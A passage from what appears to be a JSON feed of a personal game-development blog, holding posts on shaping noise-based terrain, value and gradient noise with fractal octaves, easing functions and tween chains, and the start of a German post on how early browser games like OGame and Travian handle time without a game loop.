The peaks stretch upwards in return, because the top end of the curve is steep. Chip 3 is an S-curve: plains at the bottom, plains at the top and a steep slope in between.\u003C\/p\u003E\n\u003Ch2\u003ETerraces\u003C\/h2\u003E\n\u003Cp\u003ERounding heights to steps is one line, \u003Ccode\u003Eround(e * n) \/ n\u003C\/code\u003E (Red Blob has it too). The result is nothing but vertical cliffs. A slope you could walk up doesn\u0026#039;t exist in that function. So I let every step consist of a flat tread and a sloped piece in the middle:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double t \u0026#61; h * steps;\nconst double level \u0026#61; std::floor(t);\nconst double half \u0026#61; 0.5 * clamp01(riser);\nreturn (level \u0026#43; smoothstep(0.5 - half, 0.5 \u0026#43; half, t - level)) \/ steps;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Eriser\u003C\/code\u003E is the share of the step that is slope. At 0 you get the hard cliff, at 0.35 (the value in the demo) something that looks like a farmer\u0026#039;s terrace. In the middle of every riser the result equals the input, so the overall rise of the terrain survives. Calculated by hand for four steps and \u003Ccode\u003Eriser\u003C\/code\u003E 0.4: at 0.375 you get 0.375. Chip T turns terraces on, chip S picks the number of steps. The orange line in the curve shows what is left after the terraces. Chip N for naive turns the slopes back into cliffs: on the map the shading disappears from the flat areas and the step edges become hard lines.\u003C\/p\u003E\n\u003Ch2\u003ERidges\u003C\/h2\u003E\n\u003Cp\u003EOrdinary noise is round on the summits. Sharp crests appear when you lift the zero crossings of the noise:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double r \u0026#61; 1.0 - std::fabs(n);\nridgeSum \u0026#43;\u0026#61; amp * r * r;\n\u003C\/pre\u003E\n\u003Cp\u003EWhere the noise crosses 0, \u003Ccode\u003Er\u003C\/code\u003E is 1 and everywhere else it is smaller, and the square sharpens the edge. Red Blob Games weights the higher octaves with the value of the first one, so only the mountains get the extra noise. I built it differently: the ridge field is added onto the smooth height through a mask that starts at height 0.5 and is fully on at 0.8:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double weight \u0026#61; s.naive ? 1.0 : ridgeMask(base);\nreturn clamp01(base \u0026#43; weight * (clamp01(ridge) - 0.5) * kRidgeAmount);\n\u003C\/pre\u003E\n\u003Cp\u003EWith \u003Ccode\u003EridgeMask\u003C\/code\u003E as \u003Ccode\u003Esmoothstep(0.5, 0.8, h)\u003C\/code\u003E. The ridge field is centered on 0.5, so it only lifts and lowers details, and on average the terrain stays as it is. R turns it on, with N it acts everywhere, valleys included, and the plains get criss-crossed by creases.\u003C\/p\u003E\n\u003Cp\u003EMy first version had a bug that I only noticed from the number under the map. The highest point sat between 0.48 and 0.54 for all six seeds (back then \u0026#34;Valleys\u0026#34; was still x to the power of 2.5), although the smooth noise gets above 0.9 for every seed. I had built the ridge field from all octaves, the first one included. The first octave shapes the big hills, and a summit is where the noise is large, so \u003Ccode\u003E|n|\u003C\/code\u003E is large and \u003Ccode\u003Er\u003C\/code\u003E is small. The ridges pulled every summit down. Now the sum leaves out the first octave as soon as there is more than one. After that the highest point, with the current curve, is between 0.92 and 1.00.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe input of the curve has to be in 0 to 1. \u003Ccode\u003Epow\u003C\/code\u003E with a negative base and a fractional exponent gives NaN, and a NaN that later gets converted into an index is undefined behavior. The test covers the edges too: values below 0 and above 1 are clamped before the curve, NaN becomes 0. The constants that stretch the raw noise are fixed in the code and not computed per picture from minimum and maximum, otherwise the map would flicker while panning. And terraces belong after the curve, not before it, otherwise the curve moves the step heights again.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-terrain-shaping\/terrain-shaping\u0022\u003Eterrain-shaping\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-11-13T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/terrain-from-noise","url":"https:\/\/malura.de\/en\/blog\/terrain-from-noise","title":"Terrain from Noise","content_html":"\u003Cp\u003EFor a map I need a height at every point. The simplest idea is one random number per pixel. The result is TV static. Every pixel is independent of its neighbor, so there are no mountains and no valleys, just grains. What you want are numbers that change slowly from point to point and still look random.\u003C\/p\u003E\n\u003Cp\u003E[[demo:terrain-fbm]]\u003C\/p\u003E\n\u003Cp\u003EValue noise is on the left, gradient noise on the right, both driven by the same sliders and the same color ramp from water through meadow to snow. The sliders set octaves, lacunarity, persistence, base frequency and seed, and dragging a map pans the view. Below them are the individual octaves of the gradient noise as gray tiles. The demo starts with linear blending on purpose so you see the grid right away. Chip 3 switches to the right curve and the grid disappears.\u003C\/p\u003E\n\u003Ch2\u003ERandom numbers on a grid\u003C\/h2\u003E\n\u003Cp\u003EValue noise is the version you invent first. Every lattice point gets a random number and you blend in between. The number comes from a hash of the lattice coordinates and the seed, so it is reproducible anywhere and needs no storage:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline double latticeValue(int x, int y, int seed) { return static_cast\u0026lt;double\u0026gt;(latticeHash(x, y, seed) \u0026gt;\u0026gt; 8) \/ 16777216.0; }\n\u003C\/pre\u003E\n\u003Cp\u003EThe upper 24 bits of the hash divided by 2^24 give a number in [0, 1). For a point inside a cell you take the four corner values and mix them, first in x, then in y:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Cell c \u0026#61; cellOf(x, y);\nconst double u \u0026#61; applyFade(fade, c.fx);\nconst double v \u0026#61; applyFade(fade, c.fy);\nconst double top \u0026#61; lerp(latticeValue(c.ix, c.iy, seed), latticeValue(c.ix \u0026#43; 1, c.iy, seed), u);\nconst double bottom \u0026#61; lerp(latticeValue(c.ix, c.iy \u0026#43; 1, seed), latticeValue(c.ix \u0026#43; 1, c.iy \u0026#43; 1, seed), u);\nreturn lerp(top, bottom, v);\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Efx\u003C\/code\u003E and \u003Ccode\u003Efy\u003C\/code\u003E are the fractional part inside the cell. The \u003Ccode\u003EapplyFade\u003C\/code\u003E in between is where the difference comes from.\u003C\/p\u003E\n\u003Ch2\u003EThe fade curve\u003C\/h2\u003E\n\u003Cp\u003EWith chip 1, \u003Ccode\u003Eu\u003C\/code\u003E is simply \u003Ccode\u003Efx\u003C\/code\u003E. The slope then changes abruptly at every cell border and the eye sees that as a crease. On the left of the demo you get pyramids and diamonds, on the right a few faint folds along the grid remain. Chips 2 and 3 bend the curve so it runs flat into the cell border:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecase Fade::Linear: return t;\ncase Fade::Cubic: return t * t * (3.0 - 2.0 * t);\ncase Fade::Quintic: return t * t * t * (t * (t * 6.0 - 15.0) \u0026#43; 10.0);\n\u003C\/pre\u003E\n\u003Cp\u003EBoth have slope 0 at the ends. The cubic still has a curvature there (magnitude 6), the quintic (6t^5 - 15t^4 \u0026#43; 10t^3) does not. That is enough for cell borders to stop standing out. The test compares them at t \u0026#61; 0.01: the quintic is at about a thirtieth of the cubic.\u003C\/p\u003E\n\u003Ch2\u003EGradient noise\u003C\/h2\u003E\n\u003Cp\u003EAnnoying: even with the good curve, value noise keeps a problem. The highs and lows always sit exactly on the lattice points, because that is where the random values are, and in between you only average. The grid shows through, just softer.\u003C\/p\u003E\n\u003Cp\u003EGradient noise stores a random unit vector at every lattice point, and the height only appears when you evaluate it. Each corner contributes the dot product of its direction with the vector from the corner to the point, and the four contributions are blended as above:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double n00 \u0026#61; g00.x * fx \u0026#43; g00.y * fy;\nconst double n10 \u0026#61; g10.x * (fx - 1.0) \u0026#43; g10.y * fy;\nconst double n01 \u0026#61; g01.x * fx \u0026#43; g01.y * (fy - 1.0);\nconst double n11 \u0026#61; g11.x * (fx - 1.0) \u0026#43; g11.y * (fy - 1.0);\n\u003C\/pre\u003E\n\u003Cp\u003EOn a lattice point the offset vector of its own corner is zero and the other contributions have weight zero, so exactly 0 comes out there (checked in the test for every lattice point). The swings are in between and the directions turn freely, so there is no grid anymore. With unit vectors the raw value stays at most \u221a2\/2 (about 0.71), I scale it with \u221a2 to [-1, 1] and map it to [0, 1] for the map.\u003C\/p\u003E\n\u003Cp\u003EOne quirk shows in the value range above the maps: at seed 7 and five octaves value noise runs from 0.20 to 0.91, gradient noise only from 0.23 to 0.73. With the same color ramp the right map gets hardly any snow, its values sit closer to the middle. If you want more mountains, stretch the range before coloring.\u003C\/p\u003E\n\u003Ch2\u003EOctaves\u003C\/h2\u003E\n\u003Cp\u003EA single layer looks like clouds. Terrain only appears in the sum: the same function once more at a higher frequency and a smaller amplitude, and once more. That is fbm (fractal Brownian motion):\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (int i \u0026#61; 0; i \u0026lt; clampOctaves(p.octaves); \u0026#43;\u0026#43;i) {\n    sum \u0026#43;\u0026#61; amplitude * noise(x * frequency, y * frequency, i);\n    frequency *\u0026#61; p.lacunarity;\n    amplitude *\u0026#61; persistence;\n}\nreturn p.normalize ? sum \/ amplitudeSum(p.octaves, p.persistence) : sum;\n\u003C\/pre\u003E\n\u003Cp\u003ELacunarity is the factor the frequency grows by per octave (2 means twice as fine), persistence is the factor for the amplitude (0.5: half as high). The tiles under the maps show each octave with its frequency \u003Ccode\u003Ef\u003C\/code\u003E and amplitude \u003Ccode\u003Ea\u003C\/code\u003E. Only the third or fourth tile brings the ragged detail, and its amplitude is so small that it hardly changes the shape of the landmass. You see how much it matters best by pushing persistence up.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003ENormalizing: five octaves at persistence 0.5 add up to as much as 1.94. If I do not divide by that sum, the height leaves [0, 1]. The demo paints everything above orange, chip N shows it. At four octaves and frequency 11 the sum reaches 1.70 (value noise) and 1.48 (gradient noise), and large areas turn orange.\u003C\/p\u003E\n\u003Cp\u003EA seed of its own per octave: if all octaves used the same seed, the same lattice index would get the same value in every octave, and each octave would be a compressed copy of the first. So \u003Ccode\u003EoctaveSeed\u003C\/code\u003E shifts the seed by 1013 per octave.\u003C\/p\u003E\n\u003Cp\u003ENegative coordinates: \u003Ccode\u003Estatic_cast\u0026lt;int\u0026gt;(-0.5)\u003C\/code\u003E gives 0, which is the cell to the right of the origin, and the fractional part \u003Ccode\u003Ex - 0\u003C\/code\u003E would be -0.5. The blending would run past the cell. That is why it goes through \u003Ccode\u003Estd::floor\u003C\/code\u003E. Because the cast afterwards only sees values up to \u00b110^9, \u003Ccode\u003Esane()\u003C\/code\u003E clamps the coordinate first and turns NaN into 0.\u003C\/p\u003E\n\u003Cp\u003EOctaves that are too high: an octave finer than the resolution adds nothing but flicker. At frequency 11 the last tiles are already almost plain gray, because every tile averages several samples. Eight octaves is the upper limit in the demo.\u003C\/p\u003E\n\u003Cp\u003ERed Blob Games explains noise and terrain in depth, in \u003Ca href=\u0022https:\/\/www.redblobgames.com\/maps\/terrain-from-noise\/\u0022\u003EMaking maps with noise\u003C\/a\u003E and in the \u003Ca href=\u0022https:\/\/www.redblobgames.com\/articles\/noise\/introduction.html\u0022\u003Eintroduction to noise\u003C\/a\u003E. Flafla2 walks through \u003Ca href=\u0022https:\/\/flafla2.github.io\/2014\/08\/09\/perlinnoise.html\u0022\u003EPerlin noise\u003C\/a\u003E step by step.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-terrain-fbm\/terrain-fbm\u0022\u003Eterrain-fbm\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-11-10T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/easing-and-tweening","url":"https:\/\/malura.de\/en\/blog\/easing-and-tweening","title":"Easing and tweening","content_html":"\u003Cp\u003EMoving a square from A to B is quick to build: start plus difference times progress. It looks like a calculator. A menu that slides in at constant speed and stops dead feels wooden, with a curve in front of it it comes alive. These curves are called easing functions, and a tween is the piece of code that walks along them over time. The time comes from \u003Ca href=\u0022\/en\/blog\/delta-time-motion-independent-of-the-frame-rate\u0022\u003Edelta time\u003C\/a\u003E. If you run your simulation with a \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003Efixed timestep\u003C\/a\u003E, pass that step in instead of the frame time.\u003C\/p\u003E\n\u003Cp\u003E[[demo:easing]]\u003C\/p\u003E\n\u003Cp\u003EThe demo starts with a gallery of eleven families: linear, sine, quad, cubic, quart, quint, expo, circ, back, elastic and bounce. Every card draws its curve in teal, the orange dot is the current time on it, and the square below runs back and forth between two points with the same value. The chips at the bottom switch all cards between in, out and inOut. Clicking a card opens the detail view on the right with a plot, an object with position, scale and rotation, chips for duration and loop or once, and a trail of ghost images. The ghosts sit 40 ms apart, so where they are far from each other the object is fast. Tab takes you to the tween chain.\u003C\/p\u003E\n\u003Ch2\u003EBending time\u003C\/h2\u003E\n\u003Cp\u003EThe path stays a straight line. Time is what gets bent. An easing function takes the linear progress t between 0 and 1 and returns how far along the path the object is. \u003Ccode\u003Ef(0) \u0026#61; 0\u003C\/code\u003E and \u003Ccode\u003Ef(1) \u0026#61; 1\u003C\/code\u003E hold for all of them, in between the value may leave the range 0 to 1. For back and elastic that is the whole point, the object shoots past the target and comes back.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Etemplate \u0026lt;class T\u0026gt;\nT mix(const T\u0026amp; a, const T\u0026amp; b, double k) { return a \u0026#43; (b - a) * k; }\n\n\/\/ in the tween:\nreturn mix(from, to, ease(progress));\n\u003C\/pre\u003E\n\u003Cp\u003ET is anything with plus, minus and times double: the demo tweens a double, a Vec2 and a color.\u003C\/p\u003E\n\u003Ch2\u003EThe formulas\u003C\/h2\u003E\n\u003Cp\u003EQuad is \u003Ccode\u003Et^2\u003C\/code\u003E, cubic \u003Ccode\u003Et^3\u003C\/code\u003E, quart \u003Ccode\u003Et^4\u003C\/code\u003E, quint \u003Ccode\u003Et^5\u003C\/code\u003E. The higher the power, the longer the curve stays flat at the start. Sine is \u003Ccode\u003E1 - cos(t * pi \/ 2)\u003C\/code\u003E, circ is a quarter circle, \u003Ccode\u003E1 - sqrt(1 - t^2)\u003C\/code\u003E. Expo is \u003Ccode\u003E2^(10t - 10)\u003C\/code\u003E and gives only 0.000977 at t \u0026#61; 0 instead of 0, which is why it has special cases at both ends.\u003C\/p\u003E\n\u003Cp\u003EBack is \u003Ccode\u003Ec3 * t^3 - c1 * t^2\u003C\/code\u003E with \u003Ccode\u003Ec1 \u0026#61; 1.70158\u003C\/code\u003E and \u003Ccode\u003Ec3 \u0026#61; c1 \u0026#43; 1\u003C\/code\u003E. The c3 is there so that t \u0026#61; 1 gives 1 again. The 1.70158 comes from Robert Penner\u0026#039;s easing equations, where it is the default of the parameter s. With it back overshoots by about 10 percent, and the largest value of backOut works out to 1.1000.\u003C\/p\u003E\n\u003Cp\u003EElastic is a sine with a decaying envelope: \u003Ccode\u003E-2^(10t - 10) * sin((10t - 10.75) * c4)\u003C\/code\u003E with \u003Ccode\u003Ec4 \u0026#61; 2pi \/ 3\u003C\/code\u003E. c4 sets one oscillation to 0.3 of the duration, which is Penner\u0026#039;s default as well. Bounce is four parabolas, the constant 7.5625 is 2.75 squared, so the first parabola hits exactly 1 at t \u0026#61; 1\/2.75. The tops of the bounces are at 0.75, 0.9375 and 0.984375, each bounce is a quarter as high as the one before.\u003C\/p\u003E\n\u003Ch2\u003Ein, out, inOut\u003C\/h2\u003E\n\u003Cp\u003EOut is the mirror image of in: \u003Ccode\u003Eout(t) \u0026#61; 1 - in(1 - t)\u003C\/code\u003E. That holds for every family, springs included. InOut runs the first half as \u003Ccode\u003Ein(2t) \/ 2\u003C\/code\u003E and the second half mirrored:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline double polyOut(double t, int n) { return 1.0 - ipow(1.0 - t, n); }\ninline double polyInOut(double t, int n) {\n    return t \u0026lt; 0.5 ? ipow(2.0, n - 1) * ipow(t, n) : 1.0 - ipow(-2.0 * t \u0026#43; 2.0, n) \/ 2.0;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EBack and elastic use their own constants for inOut (\u003Ccode\u003Ec2 \u0026#61; c1 * 1.525\u003C\/code\u003E, \u003Ccode\u003Ec5 \u0026#61; 2pi \/ 4.5\u003C\/code\u003E), so there it is not exactly in composed with itself. It is still symmetric around the point (0.5, 0.5), and the test checks \u003Ccode\u003EinOut(1 - t) \u0026#61; 1 - inOut(t)\u003C\/code\u003E for all 33 functions.\u003C\/p\u003E\n\u003Ch2\u003EThe tween\u003C\/h2\u003E\n\u003Cp\u003EA tween holds start, target, duration, function and a clock. \u003Ccode\u003Eupdate(dt)\u003C\/code\u003E advances the clock by the frame time, \u003Ccode\u003Evalue()\u003C\/code\u003E computes the value from it. Because the clock collects seconds, the result does not depend on the frame rate. The test runs the same tween with 1000 steps of 1 ms, with 60 steps of 1\/60 s and with one step of a second, and all three end up at the same value. The chips \u0026#34;20 fps\u0026#34; and \u0026#34;5 fps\u0026#34; in the tween view show it: it stutters, but the chain ends at the same time.\u003C\/p\u003E\n\u003Cp\u003EIf a tween ends in the middle of a frame, part of the dt is left over. That rest belongs to the next tween, otherwise every link starts a frame late, up to 200 ms at 5 fps. So \u003Ccode\u003Eupdate\u003C\/code\u003E returns the part it did not use:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eelapsed_ \u0026#43;\u0026#61; dt;\nif (elapsed_ \u0026gt;\u0026#61; duration) {\n    const double rest \u0026#61; elapsed_ - duration;\n    elapsed_ \u0026#61; duration;\n    done_ \u0026#61; true;\n    return rest;\n}\nreturn 0.0;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003EupdateChain\u003C\/code\u003E passes the rest from tween to tween. The demo chains move (0.8 s, backOut), grow (0.6 s, elasticOut) and tint (0.6 s, quadInOut), each of a different type:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eauto step \u0026#61; [\u0026amp;](auto\u0026amp; tween) {\n    if (blocked || tween.finished()) return;\n    rest \u0026#61; tween.update(rest);\n    if (!tween.finished()) blocked \u0026#61; true;\n};\n(step(tweens), ...);\n\u003C\/pre\u003E\n\u003Cp\u003EThe \u003Ccode\u003Eblocked\u003C\/code\u003E is needed. Without that line a tween with duration 0 would fire as soon as its predecessor is still running, because it gets an \u003Ccode\u003Eupdate(0)\u003C\/code\u003E. I took the line out as a test, and the test fails.\u003C\/p\u003E\n\u003Ch2\u003EWhat it is for and what not\u003C\/h2\u003E\n\u003Cp\u003EMenus that slide in, the camera shifting focus, a pickup that pops when you collect it, an enemy that swells when hit. All of them have a fixed duration, start and target.\u003C\/p\u003E\n\u003Cp\u003EIt is not for physics. Easing knows neither mass nor forces, bounce looks like a bouncing ball but only plays back a curve and never hits anything. A moving target is a poor fit too: start a new tween from the current value every frame and each one begins at speed 0 with an ease-in, so the camera just crawls.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe functions expect t between 0 and 1, which is why \u003Ccode\u003Eprogress()\u003C\/code\u003E clamps. With duration 0 there would be a division by zero, so \u003Ccode\u003Eprogress()\u003C\/code\u003E returns 1 and \u003Ccode\u003Eupdate\u003C\/code\u003E passes on all of the time. I tween colors as doubles from 0 to 255 and only clamp when drawing, otherwise an overshoot overflows a byte. The middle between teal and orange is a rather brownish something, you can see it in the chain.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-easing\/easing\u0022\u003Eeasing\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-10-30T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/browsergames-ohne-game-loop","url":"https:\/\/malura.de\/en\/blog\/browsergames-ohne-game-loop","title":"Wie OGame, Travian und Die St\u00e4mme ohne Game-Loop auskommen","content_html":"\u003Cp\u003EWenn ich ein Spiel mit SDL baue, ist das Erste, was ich schreibe, der Game-Loop. Input lesen, Welt um \u003Ccode\u003Edt\u003C\/code\u003E weiterrechnen, zeichnen, und das 60 Mal pro Sekunde. Neulich hab ich mich gefragt, wo dieser Loop eigentlich bei den Browsergames steckt, mit denen ich Mitte der 2000er meine N\u00e4chte verbracht hab. Bei OGame, Travian oder Die St\u00e4mme wird ein Geb\u00e4ude um 3:14 Uhr fertig und eine Flotte schl\u00e4gt um 4:02 Uhr ein, obwohl der Browser l\u00e4ngst zu ist. Da muss doch irgendwer die ganze Zeit rechnen?\u003C\/p\u003E\n\u003Cp\u003EMuss er nicht. Meistens rechnet da niemand. Um das zu verstehen hab ich ein kleines Spiel gebaut, mich durch Stack Exchange, alte Foren und Mailinglisten gelesen und in den Code von acht Open-Source-Klonen geschaut. Das hier ist alles, was dabei rausgekommen ist. Ist ein langer Post geworden.\u003C\/p\u003E\n\n\u003Ch2\u003EWo ist der Loop?\u003C\/h2\u003E\n\u003Cp\u003EEin Spiel mit SDL sieht im Kern so aus:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003Ewhile\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E(\u003C\/span\u003Erunning\u003Cspan class=\u0022hl-operator\u0022\u003E)\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E{\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-property\u0022\u003Ehandle_input\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E(\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E)\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E;\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-property\u0022\u003Eupdate\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E(\u003C\/span\u003Edt\u003Cspan class=\u0022hl-operator\u0022\u003E)\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E;\u003C\/span\u003E   \u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ die Welt l\u00e4uft weiter\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-property\u0022\u003Erender\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E(\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E)\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E;\u003C\/span\u003E\n\u003Cspan class=\u0022hl-operator\u0022\u003E}\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003EEin Server f\u00fcr ein Echtzeit-Multiplayerspiel macht im Prinzip dasselbe, nur ohne \u003Ccode\u003Erender()\u003C\/code\u003E. Der tickt durch, egal ob gerade jemand was macht.\u003C\/p\u003E\n\u003Cp\u003EDie Browsergames der 2000er liefen meistens als PHP auf einem gemieteten Server, oft sogar auf Shared Hosting. Und PHP lebt nur so lange wie ein HTTP-Request. Request kommt rein, Skript l\u00e4uft, HTML geht raus, Prozess ist weg. Da gibt es schlicht keinen Ort, an dem ein Loop laufen k\u00f6nnte. William Leader hat das 2010 auf Gamasutra so formuliert: \u0026#34;Web Servers don\u0026#039;t normally have the luxury of running code without a page request\u0026#34; (\u003Ca href=\u0022https:\/\/www.gamedeveloper.com\/game-platforms\/reacting-to-the-passage-of-time-in-browser-games\u0022\u003EGamasutra 2010\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EViele Hoster hatten damals nicht mal Cronjobs. Auf der New Yorker PHP-Mailingliste hat Michael Haszprunar deshalb schon im November 2005 vorgeschlagen, jeden Wert mit einem Zeitstempel zu speichern, und \u0026#34;you just calculate the new value on access\u0026#34; (\u003Ca href=\u0022https:\/\/nyphp.org\/pipermail\/talk\/2005-November\/016574.html\u0022\u003ENYPHP, 2005\u003C\/a\u003E). Gerechnet wird also erst, wenn jemand hinschaut. Das ist der \u00e4lteste Beleg, den ich f\u00fcr das Muster gefunden hab, und eigentlich steht da schon die ganze Idee drin.\u003C\/p\u003E\n\u003Cp\u003EGrob gibt es drei Arten, wie Browsergames mit Zeit umgehen. Bei Earth: 2025 oder Kingdom of Loathing laden sich Z\u00fcge oder Aktionspunkte auf, die man dann ausgibt. Bei Planetarion (st\u00fcndlich) oder Hattrick (feste Termine in der Woche) wird die ganze Welt zu festen Zeitpunkten weitergerechnet. Und bei OGame, Die St\u00e4mme, Travian und fast allem, was danach kam, hat jede Aktion einen sekundengenauen Zeitpunkt, an dem sie fertig ist, und gerechnet wird nur bei Bedarf.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003EEin bisschen Geschichte\u003C\/h2\u003E\n\u003Cp\u003EEarth: 2025 (1996) von Mehul Patel war ein rundenbasiertes Strategiespiel, laut einer Rezension von 1998 \u0026#34;designed to be played directly on the web\u0026#34;. Neue Spieler waren \u0026#34;under protection for 100 turns\u0026#34; und eine Runde ging ein paar Monate (\u003Ca href=\u0022https:\/\/earth2025historicalarchive.blogspot.com\/2013\/10\/internet-archive-mpogd-review-of-earth.html\u0022\u003ERezension, archiviert\u003C\/a\u003E). Die Z\u00fcge haben sich mit der Zeit angesammelt. Der Server musste also nur wissen, wann zuletzt Z\u00fcge gutgeschrieben wurden.\u003C\/p\u003E\n\u003Cp\u003EUtopia (1998, laut Vice Januar 1999) ist vom selben Mehul Patel, damals 22 und Student an der University of Texas. Gebaut f\u00fcr Einwahlmodems, geschrieben in Python, gespielt in \u0026#34;Ages\u0026#34; von 10 bis 12 Wochen. Laut Patel hatte es zu Spitzenzeiten rund 100.000 aktive Spieler (\u003Ca href=\u0022https:\/\/www.vice.com\/en\/article\/utopia-online-game\/\u0022\u003EVice 2017\u003C\/a\u003E, \u003Ca href=\u0022https:\/\/en.wikipedia.org\/wiki\/Utopia_(online_game)\u0022\u003EWikipedia\u003C\/a\u003E). Nach einem DoS-Angriff 2009 wurde es komplett neu geschrieben.\u003C\/p\u003E\n\u003Cp\u003EPlanetarion (2000, Fifth Season AS aus Norwegen) ist das Spiel, das mir bei Ticks als Erstes einf\u00e4llt. Die Welt wird jede Stunde aktualisiert und Bauten und Angriffe dauern eine feste Anzahl Ticks. Am Wochenende gab es Speedgames mit Ticks im Minutentakt. Im Oktober 2000 hatte es \u00fcber 30.000 Spieler (\u003Ca href=\u0022https:\/\/en.wikipedia.org\/wiki\/Planetarion\u0022\u003EWikipedia\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EOGame ging am 3. Oktober 2002 online. Geschrieben hat es Alexander R\u00f6sner (\u0026#34;Legor\u0026#34;), der heute Gameforge leitet. Zum 20. Geburtstag hat er der GameStar erz\u00e4hlt, dass das Ganze eine \u0026#34;Trotzreaktion\u0026#34; aus seiner Studentenzeit war (\u003Ca href=\u0022https:\/\/www.gamestar.de\/artikel\/ogame-ist-20-jahre-spaeter-noch-am-leben,3382508.html\u0022\u003EGameStar 2022\u003C\/a\u003E, \u003Ca href=\u0022https:\/\/de.wikipedia.org\/wiki\/OGame\u0022\u003EWikipedia\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EDie St\u00e4mme (2003) hat Hendrik Klindworth mit 19 programmiert, sein Bruder Eike hat die Grafik gemacht und Michael Zillmer kam dazu. Daraus ist InnoGames geworden (\u003Ca href=\u0022https:\/\/www.pocketgamer.biz\/interview\/66080\/hendrik-klindworth-on-10-years-of-innogames\/\u0022\u003EPocketGamer.biz 2017\u003C\/a\u003E). Der erste Server stand im Zimmer von einem der Gr\u00fcnder (\u003Ca href=\u0022https:\/\/www.mcvuk.com\/development-news\/how-browser-based-tribal-wars-has-survived-for-14-years\/\u0022\u003EMCV 2017\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EKingdom of Loathing (2003) hat Zack \u0026#34;Jick\u0026#34; Johnson nach eigener Aussage in einer Woche gebaut: \u0026#34;I knew that if I took the project seriously, I\u0026#039;d never finish it.\u0026#34; (\u003Ca href=\u0022https:\/\/www.engadget.com\/2010\/11\/16\/the-game-archaeologists-fear-and-loathing-in-the-kingdom-joshi\/\u0022\u003EEngadget 2010\u003C\/a\u003E). Man bekommt 40 Abenteuer pro Tag, abgerechnet wird beim t\u00e4glichen \u0026#34;Rollover\u0026#34; und ansammeln kann man maximal 200 (\u003Ca href=\u0022https:\/\/en.wikipedia.org\/wiki\/Kingdom_of_Loathing\u0022\u003EWikipedia\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003ETravian (2004) kommt von Gerhard M\u00fcller, damals Chemiestudent an der TU M\u00fcnchen. Eine Runde dauert etwa 200 Tage und ist vorbei, wenn ein Weltwunder Stufe 100 erreicht. Im Januar 2011 sollen laut Betreiber rund 5,2 Millionen Leute gespielt haben (\u003Ca href=\u0022https:\/\/en.wikipedia.org\/wiki\/Travian\u0022\u003EWikipedia en\u003C\/a\u003E, \u003Ca 